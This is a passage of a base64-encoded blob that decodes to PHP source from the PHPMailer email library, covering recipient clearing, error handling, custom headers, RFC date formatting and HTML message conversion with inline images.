mlsZSBlbmNvZGluZyAoc2VlICRFbmNvZGluZykuCiAgICAgKiBAcGFyYW0gc3RyaW5nICR0eXBlIE1JTUUgdHlwZS4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGRpc3Bvc2l0aW9uIERpc3Bvc2l0aW9uIHRvIHVzZQogICAgICogQHJldHVybiBib29sZWFuIFRydWUgb24gc3VjY2Vzc2Z1bGx5IGFkZGluZyBhbiBhdHRhY2htZW50CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhZGRTdHJpbmdFbWJlZGRlZEltYWdlKAogICAgICAgICRzdHJpbmcsCiAgICAgICAgJGNpZCwKICAgICAgICAkbmFtZSA9ICcnLAogICAgICAgICRlbmNvZGluZyA9ICdiYXNlNjQnLAogICAgICAgICR0eXBlID0gJycsCiAgICAgICAgJGRpc3Bvc2l0aW9uID0gJ2lubGluZScKICAgICkgewogICAgICAgIC8vIElmIGEgTUlNRSB0eXBlIGlzIG5vdCBzcGVjaWZpZWQsIHRyeSB0byB3b3JrIGl0IG91dCBmcm9tIHRoZSBuYW1lCiAgICAgICAgaWYgKCR0eXBlID09ICcnIGFuZCAhZW1wdHkoJG5hbWUpKSB7CiAgICAgICAgICAgICR0eXBlID0gc2VsZjo6ZmlsZW5hbWVUb1R5cGUoJG5hbWUpOwogICAgICAgIH0KCiAgICAgICAgLy8gQXBwZW5kIHRvICRhdHRhY2htZW50IGFycmF5CiAgICAgICAgJHRoaXMtPmF0dGFjaG1lbnRbXSA9IGFycmF5KAogICAgICAgICAgICAwID0+ICRzdHJpbmcsCiAgICAgICAgICAgIDEgPT4gJG5hbWUsCiAgICAgICAgICAgIDIgPT4gJG5hbWUsCiAgICAgICAgICAgIDMgPT4gJGVuY29kaW5nLAogICAgICAgICAgICA0ID0+ICR0eXBlLAogICAgICAgICAgICA1ID0+IHRydWUsIC8vIGlzU3RyaW5nQXR0YWNobWVudAogICAgICAgICAgICA2ID0+ICRkaXNwb3NpdGlvbiwKICAgICAgICAgICAgNyA9PiAkY2lkCiAgICAgICAgKTsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICAvKioKICAgICAqIENoZWNrIGlmIGFuIGlubGluZSBhdHRhY2htZW50IGlzIHByZXNlbnQuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBpbmxpbmVJbWFnZUV4aXN0cygpCiAgICB7CiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPmF0dGFjaG1lbnQgYXMgJGF0dGFjaG1lbnQpIHsKICAgICAgICAgICAgaWYgKCRhdHRhY2htZW50WzZdID09ICdpbmxpbmUnKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBDaGVjayBpZiBhbiBhdHRhY2htZW50IChub24taW5saW5lKSBpcyBwcmVzZW50LgogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhdHRhY2htZW50RXhpc3RzKCkKICAgIHsKICAgICAgICBmb3JlYWNoICgkdGhpcy0+YXR0YWNobWVudCBhcyAkYXR0YWNobWVudCkgewogICAgICAgICAgICBpZiAoJGF0dGFjaG1lbnRbNl0gPT0gJ2F0dGFjaG1lbnQnKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBDaGVjayBpZiB0aGlzIG1lc3NhZ2UgaGFzIGFuIGFsdGVybmF0aXZlIGJvZHkgc2V0LgogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhbHRlcm5hdGl2ZUV4aXN0cygpCiAgICB7CiAgICAgICAgcmV0dXJuICFlbXB0eSgkdGhpcy0+QWx0Qm9keSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDbGVhciBxdWV1ZWQgYWRkcmVzc2VzIG9mIGdpdmVuIGtpbmQuCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICogQHBhcmFtIHN0cmluZyAka2luZCAndG8nLCAnY2MnLCBvciAnYmNjJwogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhclF1ZXVlZEFkZHJlc3Nlcygka2luZCkKICAgIHsKICAgICAgICAkUmVjaXBpZW50c1F1ZXVlID0gJHRoaXMtPlJlY2lwaWVudHNRdWV1ZTsKICAgICAgICBmb3JlYWNoICgkUmVjaXBpZW50c1F1ZXVlIGFzICRhZGRyZXNzID0+ICRwYXJhbXMpIHsKICAgICAgICAgICAgaWYgKCRwYXJhbXNbMF0gPT0gJGtpbmQpIHsKICAgICAgICAgICAgICAgIHVuc2V0KCR0aGlzLT5SZWNpcGllbnRzUXVldWVbJGFkZHJlc3NdKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIENsZWFyIGFsbCBUbyByZWNpcGllbnRzLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhckFkZHJlc3NlcygpCiAgICB7CiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPnRvIGFzICR0bykgewogICAgICAgICAgICB1bnNldCgkdGhpcy0+YWxsX3JlY2lwaWVudHNbc3RydG9sb3dlcigkdG9bMF0pXSk7CiAgICAgICAgfQogICAgICAgICR0aGlzLT50byA9IGFycmF5KCk7CiAgICAgICAgJHRoaXMtPmNsZWFyUXVldWVkQWRkcmVzc2VzKCd0bycpOwogICAgfQoKICAgIC8qKgogICAgICogQ2xlYXIgYWxsIENDIHJlY2lwaWVudHMuCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGNsZWFyQ0NzKCkKICAgIHsKICAgICAgICBmb3JlYWNoICgkdGhpcy0+Y2MgYXMgJGNjKSB7CiAgICAgICAgICAgIHVuc2V0KCR0aGlzLT5hbGxfcmVjaXBpZW50c1tzdHJ0b2xvd2VyKCRjY1swXSldKTsKICAgICAgICB9CiAgICAgICAgJHRoaXMtPmNjID0gYXJyYXkoKTsKICAgICAgICAkdGhpcy0+Y2xlYXJRdWV1ZWRBZGRyZXNzZXMoJ2NjJyk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDbGVhciBhbGwgQkNDIHJlY2lwaWVudHMuCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGNsZWFyQkNDcygpCiAgICB7CiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPmJjYyBhcyAkYmNjKSB7CiAgICAgICAgICAgIHVuc2V0KCR0aGlzLT5hbGxfcmVjaXBpZW50c1tzdHJ0b2xvd2VyKCRiY2NbMF0pXSk7CiAgICAgICAgfQogICAgICAgICR0aGlzLT5iY2MgPSBhcnJheSgpOwogICAgICAgICR0aGlzLT5jbGVhclF1ZXVlZEFkZHJlc3NlcygnYmNjJyk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDbGVhciBhbGwgUmVwbHlUbyByZWNpcGllbnRzLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhclJlcGx5VG9zKCkKICAgIHsKICAgICAgICAkdGhpcy0+UmVwbHlUbyA9IGFycmF5KCk7CiAgICAgICAgJHRoaXMtPlJlcGx5VG9RdWV1ZSA9IGFycmF5KCk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDbGVhciBhbGwgcmVjaXBpZW50IHR5cGVzLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhckFsbFJlY2lwaWVudHMoKQogICAgewogICAgICAgICR0aGlzLT50byA9IGFycmF5KCk7CiAgICAgICAgJHRoaXMtPmNjID0gYXJyYXkoKTsKICAgICAgICAkdGhpcy0+YmNjID0gYXJyYXkoKTsKICAgICAgICAkdGhpcy0+YWxsX3JlY2lwaWVudHMgPSBhcnJheSgpOwogICAgICAgICR0aGlzLT5SZWNpcGllbnRzUXVldWUgPSBhcnJheSgpOwogICAgfQoKICAgIC8qKgogICAgICogQ2xlYXIgYWxsIGZpbGVzeXN0ZW0sIHN0cmluZywgYW5kIGJpbmFyeSBhdHRhY2htZW50cy4KICAgICAqIEByZXR1cm4gdm9pZAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gY2xlYXJBdHRhY2htZW50cygpCiAgICB7CiAgICAgICAgJHRoaXMtPmF0dGFjaG1lbnQgPSBhcnJheSgpOwogICAgfQoKICAgIC8qKgogICAgICogQ2xlYXIgYWxsIGN1c3RvbSBoZWFkZXJzLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhckN1c3RvbUhlYWRlcnMoKQogICAgewogICAgICAgICR0aGlzLT5DdXN0b21IZWFkZXIgPSBhcnJheSgpOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGFuIGVycm9yIG1lc3NhZ2UgdG8gdGhlIGVycm9yIGNvbnRhaW5lci4KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAcGFyYW0gc3RyaW5nICRtc2cKICAgICAqIEByZXR1cm4gdm9pZAogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gc2V0RXJyb3IoJG1zZykKICAgIHsKICAgICAgICAkdGhpcy0+ZXJyb3JfY291bnQrKzsKICAgICAgICBpZiAoJHRoaXMtPk1haWxlciA9PSAnc210cCcgYW5kICFpc19udWxsKCR0aGlzLT5zbXRwKSkgewogICAgICAgICAgICAkbGFzdGVycm9yID0gJHRoaXMtPnNtdHAtPmdldEVycm9yKCk7CiAgICAgICAgICAgIGlmICghZW1wdHkoJGxhc3RlcnJvclsnZXJyb3InXSkpIHsKICAgICAgICAgICAgICAgICRtc2cgLj0gJHRoaXMtPmxhbmcoJ3NtdHBfZXJyb3InKSAuICRsYXN0ZXJyb3JbJ2Vycm9yJ107CiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRsYXN0ZXJyb3JbJ2RldGFpbCddKSkgewogICAgICAgICAgICAgICAgICAgICRtc2cgLj0gJyBEZXRhaWw6ICcuICRsYXN0ZXJyb3JbJ2RldGFpbCddOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkbGFzdGVycm9yWydzbXRwX2NvZGUnXSkpIHsKICAgICAgICAgICAgICAgICAgICAkbXNnIC49ICcgU01UUCBjb2RlOiAnIC4gJGxhc3RlcnJvclsnc210cF9jb2RlJ107CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRsYXN0ZXJyb3JbJ3NtdHBfY29kZV9leCddKSkgewogICAgICAgICAgICAgICAgICAgICRtc2cgLj0gJyBBZGRpdGlvbmFsIFNNVFAgaW5mbzogJyAuICRsYXN0ZXJyb3JbJ3NtdHBfY29kZV9leCddOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICR0aGlzLT5FcnJvckluZm8gPSAkbXNnOwogICAgfQoKICAgIC8qKgogICAgICogUmV0dXJuIGFuIFJGQyA4MjIgZm9ybWF0dGVkIGRhdGUuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqIEBzdGF0aWMKICAgICAqLwogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiByZmNEYXRlKCkKICAgIHsKICAgICAgICAvLyBTZXQgdGhlIHRpbWUgem9uZSB0byB3aGF0ZXZlciB0aGUgZGVmYXVsdCBpcyB0byBhdm9pZCA1MDAgZXJyb3JzCiAgICAgICAgLy8gV2lsbCBkZWZhdWx0IHRvIFVUQyBpZiBpdCdzIG5vdCBzZXQgcHJvcGVybHkgaW4gcGhwLmluaQogICAgICAgIGRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoQGRhdGVfZGVmYXVsdF90aW1lem9uZV9nZXQoKSk7CiAgICAgICAgcmV0dXJuIGRhdGUoJ0QsIGogTSBZIEg6aTpzIE8nKTsKICAgIH0KCiAgICAvKioKICAgICAqIEdldCB0aGUgc2VydmVyIGhvc3RuYW1lLgogICAgICogUmV0dXJucyAnbG9jYWxob3N0LmxvY2FsZG9tYWluJyBpZiB1bmtub3duLgogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHByb3RlY3RlZCBmdW5jdGlvbiBzZXJ2ZXJIb3N0bmFtZSgpCiAgICB7CiAgICAgICAgJHJlc3VsdCA9ICdsb2NhbGhvc3QubG9jYWxkb21haW4nOwogICAgICAgIGlmICghZW1wdHkoJHRoaXMtPkhvc3RuYW1lKSkgewogICAgICAgICAgICAkcmVzdWx0ID0gJHRoaXMtPkhvc3RuYW1lOwogICAgICAgIH0gZWxzZWlmIChpc3NldCgkX1NFUlZFUikgYW5kIGFycmF5X2tleV9leGlzdHMoJ1NFUlZFUl9OQU1FJywgJF9TRVJWRVIpIGFuZCAhZW1wdHkoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pKSB7CiAgICAgICAgICAgICRyZXN1bHQgPSAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXTsKICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdnZXRob3N0bmFtZScpICYmIGdldGhvc3RuYW1lKCkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICRyZXN1bHQgPSBnZXRob3N0bmFtZSgpOwogICAgICAgIH0gZWxzZWlmIChwaHBfdW5hbWUoJ24nKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgJHJlc3VsdCA9IHBocF91bmFtZSgnbicpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0KCiAgICAvKioKICAgICAqIEdldCBhbiBlcnJvciBtZXNzYWdlIGluIHRoZSBjdXJyZW50IGxhbmd1YWdlLgogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEBwYXJhbSBzdHJpbmcgJGtleQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGxhbmcoJGtleSkKICAgIHsKICAgICAgICBpZiAoY291bnQoJHRoaXMtPmxhbmd1YWdlKSA8IDEpIHsKICAgICAgICAgICAgJHRoaXMtPnNldExhbmd1YWdlKCdlbicpOyAvLyBzZXQgdGhlIGRlZmF1bHQgbGFuZ3VhZ2UKICAgICAgICB9CgogICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKCRrZXksICR0aGlzLT5sYW5ndWFnZSkpIHsKICAgICAgICAgICAgaWYgKCRrZXkgPT0gJ3NtdHBfY29ubmVjdF9mYWlsZWQnKSB7CiAgICAgICAgICAgICAgICAvL0luY2x1ZGUgYSBsaW5rIHRvIHRyb3VibGVzaG9vdGluZyBkb2NzIG9uIFNNVFAgY29ubmVjdGlvbiBmYWlsdXJlCiAgICAgICAgICAgICAgICAvL3RoaXMgaXMgYnkgZmFyIHRoZSBiaWdnZXN0IGNhdXNlIG9mIHN1cHBvcnQgcXVlc3Rpb25zCiAgICAgICAgICAgICAgICAvL2J1dCBpdCdzIHVzdWFsbHkgbm90IFBIUE1haWxlcidzIGZhdWx0LgogICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5sYW5ndWFnZVska2V5XSAuICcgaHR0cHM6Ly9naXRodWIuY29tL1BIUE1haWxlci9QSFBNYWlsZXIvd2lraS9Ucm91Ymxlc2hvb3RpbmcnOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+bGFuZ3VhZ2VbJGtleV07CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgLy9SZXR1cm4gdGhlIGtleSBhcyBhIGZhbGxiYWNrCiAgICAgICAgICAgIHJldHVybiAka2V5OwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIENoZWNrIGlmIGFuIGVycm9yIG9jY3VycmVkLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gYm9vbGVhbiBUcnVlIGlmIGFuIGVycm9yIGRpZCBvY2N1ci4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGlzRXJyb3IoKQogICAgewogICAgICAgIHJldHVybiAoJHRoaXMtPmVycm9yX2NvdW50ID4gMCk7CiAgICB9CgogICAgLyoqCiAgICAgKiBFbnN1cmUgY29uc2lzdGVudCBsaW5lIGVuZGluZ3MgaW4gYSBzdHJpbmcuCiAgICAgKiBDaGFuZ2VzIGV2ZXJ5IGVuZCBvZiBsaW5lIGZyb20gQ1JMRiwgQ1Igb3IgTEYgdG8gJHRoaXMtPkxFLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJHN0ciBTdHJpbmcgdG8gZml4RU9MCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZml4RU9MKCRzdHIpCiAgICB7CiAgICAgICAgLy8gTm9ybWFsaXNlIHRvIFxuCiAgICAgICAgJG5zdHIgPSBzdHJfcmVwbGFjZShhcnJheSgiXHJcbiIsICJcciIpLCAiXG4iLCAkc3RyKTsKICAgICAgICAvLyBOb3cgY29udmVydCBMRSBhcyBuZWVkZWQKICAgICAgICBpZiAoJHRoaXMtPkxFICE9PSAiXG4iKSB7CiAgICAgICAgICAgICRuc3RyID0gc3RyX3JlcGxhY2UoIlxuIiwgJHRoaXMtPkxFLCAkbnN0cik7CiAgICAgICAgfQogICAgICAgIHJldHVybiAkbnN0cjsKICAgIH0KCiAgICAvKioKICAgICAqIEFkZCBhIGN1c3RvbSBoZWFkZXIuCiAgICAgKiAkbmFtZSB2YWx1ZSBjYW4gYmUgb3ZlcmxvYWRlZCB0byBjb250YWluCiAgICAgKiBib3RoIGhlYWRlciBuYW1lIGFuZCB2YWx1ZSAobmFtZTp2YWx1ZSkKICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lIEN1c3RvbSBoZWFkZXIgbmFtZQogICAgICogQHBhcmFtIHN0cmluZyAkdmFsdWUgSGVhZGVyIHZhbHVlCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZEN1c3RvbUhlYWRlcigkbmFtZSwgJHZhbHVlID0gbnVsbCkKICAgIHsKICAgICAgICBpZiAoJHZhbHVlID09PSBudWxsKSB7CiAgICAgICAgICAgIC8vIFZhbHVlIHBhc3NlZCBpbiBhcyBuYW1lOnZhbHVlCiAgICAgICAgICAgICR0aGlzLT5DdXN0b21IZWFkZXJbXSA9IGV4cGxvZGUoJzonLCAkbmFtZSwgMik7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHRoaXMtPkN1c3RvbUhlYWRlcltdID0gYXJyYXkoJG5hbWUsICR2YWx1ZSk7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogUmV0dXJucyBhbGwgY3VzdG9tIGhlYWRlcnMuCiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRDdXN0b21IZWFkZXJzKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPkN1c3RvbUhlYWRlcjsKICAgIH0KCiAgICAvKioKICAgICAqIENyZWF0ZSBhIG1lc3NhZ2UgYm9keSBmcm9tIGFuIEhUTUwgc3RyaW5nLgogICAgICogQXV0b21hdGljYWxseSBpbmxpbmVzIGltYWdlcyBhbmQgY3JlYXRlcyBhIHBsYWluLXRleHQgdmVyc2lvbiBieSBjb252ZXJ0aW5nIHRoZSBIVE1MLAogICAgICogb3ZlcndyaXRpbmcgYW55IGV4aXN0aW5nIHZhbHVlcyBpbiBCb2R5IGFuZCBBbHRCb2R5LgogICAgICogRG8gbm90IHNvdXJjZSAkbWVzc2FnZSBjb250ZW50IGZyb20gdXNlciBpbnB1dCEKICAgICAqICRiYXNlZGlyIGlzIHByZXBlbmRlZCB3aGVuIGhhbmRsaW5nIHJlbGF0aXZlIFVSTHMsIGUuZy4gPGltZyBzcmM9Ii9pbWFnZXMvYS5wbmciPiBhbmQgbXVzdCBub3QgYmUgZW1wdHkKICAgICAqIHdpbGwgbG9vayBmb3IgYW4gaW1hZ2UgZmlsZSBpbiAkYmFzZWRpci9pbWFnZXMvYS5wbmcgYW5kIGNvbnZlcnQgaXQgdG8gaW5saW5lLgogICAgICogSWYgeW91IGRvbid0IHByb3ZpZGUgYSAkYmFzZWRpciwgcmVsYXRpdmUgcGF0aHMgd2lsbCBiZSBsZWZ0IHVudG91Y2hlZCAoYW5kIHRodXMgcHJvYmFibHkgYnJlYWsgaW4gZW1haWwpCiAgICAgKiBJZiB5b3UgZG9uJ3Qgd2FudCB0byBhcHBseSB0aGVzZSB0cmFuc2Zvcm1hdGlvbnMgdG8geW91ciBIVE1MLCBqdXN0IHNldCBCb2R5IGFuZCBBbHRCb2R5IGRpcmVjdGx5LgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJG1lc3NhZ2UgSFRNTCBtZXNzYWdlIHN0cmluZwogICAgICogQHBhcmFtIHN0cmluZyAkYmFzZWRpciBBYnNvbHV0ZSBwYXRoIHRvIGEgYmFzZSBkaXJlY3RvcnkgdG8gcHJlcGVuZCB0byByZWxhdGl2ZSBwYXRocyB0byBpbWFnZXMKICAgICAqIEBwYXJhbSBib29sZWFufGNhbGxhYmxlICRhZHZhbmNlZCBXaGV0aGVyIHRvIHVzZSB0aGUgaW50ZXJuYWwgSFRNTCB0byB0ZXh0IGNvbnZlcnRlcgogICAgICogICAgb3IgeW91ciBvd24gY3VzdG9tIGNvbnZlcnRlciBAc2VlIFBIUE1haWxlcjo6aHRtbDJ0ZXh0KCkKICAgICAqIEByZXR1cm4gc3RyaW5nICRtZXNzYWdlIFRoZSB0cmFuc2Zvcm1lZCBtZXNzYWdlIEJvZHkKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIG1zZ0hUTUwoJG1lc3NhZ2UsICRiYXNlZGlyID0gJycsICRhZHZhbmNlZCA9IGZhbHNlKQogICAgewogICAgICAgIHByZWdfbWF0Y2hfYWxsKCcvKHNyY3xiYWNrZ3JvdW5kKT1bIlwnXSguKilbIlwnXS9VaScsICRtZXNzYWdlLCAkaW1hZ2VzKTsKICAgICAgICBpZiAoYXJyYXlfa2V5X2V4aXN0cygyLCAkaW1hZ2VzKSkgewogICAgICAgICAgICBpZiAoc3RybGVuKCRiYXNlZGlyKSA+IDEgJiYgc3Vic3RyKCRiYXNlZGlyLCAtMSkgIT0gJy8nKSB7CiAgICAgICAgICAgICAgICAvLyBFbnN1cmUgJGJhc2VkaXIgaGFzIGEgdHJhaWxpbmcgLwogICAgICAgICAgICAgICAgJGJhc2VkaXIgLj0gJy8nOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZvcmVhY2ggKCRpbWFnZXNbMl0gYXMgJGltZ2luZGV4ID0+ICR1cmwpIHsKICAgICAgICAgICAgICAgIC8vIENvbnZlcnQgZGF0YSBVUklzIGludG8gZW1iZWRkZWQgaW1hZ2VzCiAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnI15kYXRhOihpbWFnZVteOyxdKikoO2Jhc2U2NCk\/LCMnLCAkdXJsLCAkbWF0Y2gpKSB7CiAgICAgICAgICAgICAgICAgICAgJGRhdGEgPSBzdWJzdHIoJHVybCwgc3RycG9zKCR1cmwsICcsJykpOwogICAgICAgICAgICAgICAgICAgIGlmICgkbWF0Y2hbMl0pIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGRhdGEgPSBiYXNlNjRfZGVjb2RlKCRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHJhd3VybGRlY29kZSgkZGF0YSk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICRjaWQgPSBtZDUoJHVybCkgLiAnQHBocG1haWxlci4wJzsgLy8gUkZDMjM5MiBTIDIKICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPmFkZFN0cmluZ0VtYmVkZGVkSW1hZ2UoJGRhdGEsICRjaWQsICdlbWJlZCcgLiAkaW1naW5kZXgsICdiYXNlNjQnLCAkbWF0Y2hbMV0pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlID0gc3RyX3JlcGxhY2UoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaW1hZ2VzWzBdWyRpbWdpbmRleF0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaW1hZ2VzWzFdWyRpbWdpbmRleF0gLiAnPSJjaWQ6JyAuICRjaWQgLiAnIicsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZQogICAgICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICgKICAgICAgICAgICAgICAgICAgICAvLyBPbmx5IHByb2Nlc3MgcmVsYXRpdmUgVVJMcyBpZiBhIGJhc2VkaXIgaXMgcHJvdmlkZWQgKGkuZS4gbm8gYWJzb2x1dGUgbG9jYWwgcGF0aHMpCiAgICAgICAgICAgICAgICAgICAgIWVtcHR5KCRiYXNlZGlyKQogICAgICAgICAgICAgICAgICAgIC8vIElnbm9yZSBVUkxzIGNvbnRhaW5pbmcgcGFyZW50IGRpciB0cmF2ZXJzYWwgKC4uKQogICAgICAgICAgICAgICAgICAgICYmIChzdHJwb3MoJHVybCwgJy4uJykgPT09IGZhbHNlKQogICAgICAgICAgICAgICAgICAgIC8vIERvIG5vdCBjaGFuZ2UgdXJscyB0aGF0IGFyZSBhbHJlYWR5IGlubGluZSBpbWFnZXMKICAgICAgICAgICAgICAgICAgICAmJiBzdWJzdHIoJHVybCwgMCwgNCkgIT09ICdjaWQ6JwogICAgICAgICAgICAgICAgICAgIC8vIERvIG5vdCBjaGFuZ2UgYWJzb2x1dGUgVVJMcywgaW5jbHVkaW5nIGFub255bW91cyBwcm90b2NvbAogICAgICAgICAgICAgICAgICAgICYmICFwcmVnX21hdGNoKCcjXlthLXpdW2EtejAtOSsuLV0qOj8vLyNpJywgJHVybCkKICAgICAgICAgICAgICAgICkgewogICAgICAgICAgICAgICAgICAgICRmaWxlbmFtZSA9IGJhc2VuYW1lKCR1cmwpOwogICAgICAgICAgICAgICAgICAgICRkaXJlY3RvcnkgPSBkaXJuYW1lKCR1cmwpOwogICAgICAgICAgICAgICAgICAgIGlmICgkZGlyZWN0b3J5ID09ICcuJykgewogICAgICAgICAgICAgICAgICAgICAgICAkZGlyZWN0b3J5ID0gJyc7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICRjaWQgPSBtZDUoJHVybCkgLiAnQHBocG1haWxlci4wJzsgLy8gUkZDMjM5MiBTIDIKICAgICAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCRkaXJlY3RvcnkpID4gMSAmJiBzdWJzdHIoJGRpcmVjdG9yeSwgLTEpICE9ICcvJykgewogICAgICAgICAgICAgICAgICAgICAgICAkZGlyZWN0b3J5IC49ICcvJzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5hZGRFbWJlZGRlZEltYWdlKAogICAgICAgICAgICAgICAgICAgICAgICAkYmFzZWRpciAuICRkaXJlY3RvcnkgLiAkZmlsZW5hbWUsCiAgICAgICAgICAgICAgICAgICAgICAgICRjaWQsCiAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlbmFtZSwKICAgICAgICAgICAgICAgICAgICAgICAgJ2Jhc2U2NCcsCiAgICAgICAgICAgICAgICAgICAgICAgIHNlbGY6Ol9taW1lX3R5cGVzKChzdHJpbmcpc2VsZjo6bWJfcGF0aGluZm8oJGZpbGVuYW1lLCBQQVRISU5GT19FWFRFTlNJT04pKQogICAgICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgICAgICApIHsKICAgICAgICAgICAgICAgICAgICAgICAgJG1lc3NhZ2UgPSBwcmVnX3JlcGxhY2UoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnLycgLiAkaW1hZ2VzWzFdWyRpbWdpbmRleF0gLiAnPVsiXCddJyAuIHByZWdfcXVvdGUoJHVybCwgJy8nKSAuICdbIlwnXS9VaScsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaW1hZ2VzWzFdWyRpbWdpbmRleF0gLiAnPSJjaWQ6JyAuICRjaWQgLiAnIicsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZQogICAgICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAkdGhpcy0+aXNIVE1MKHR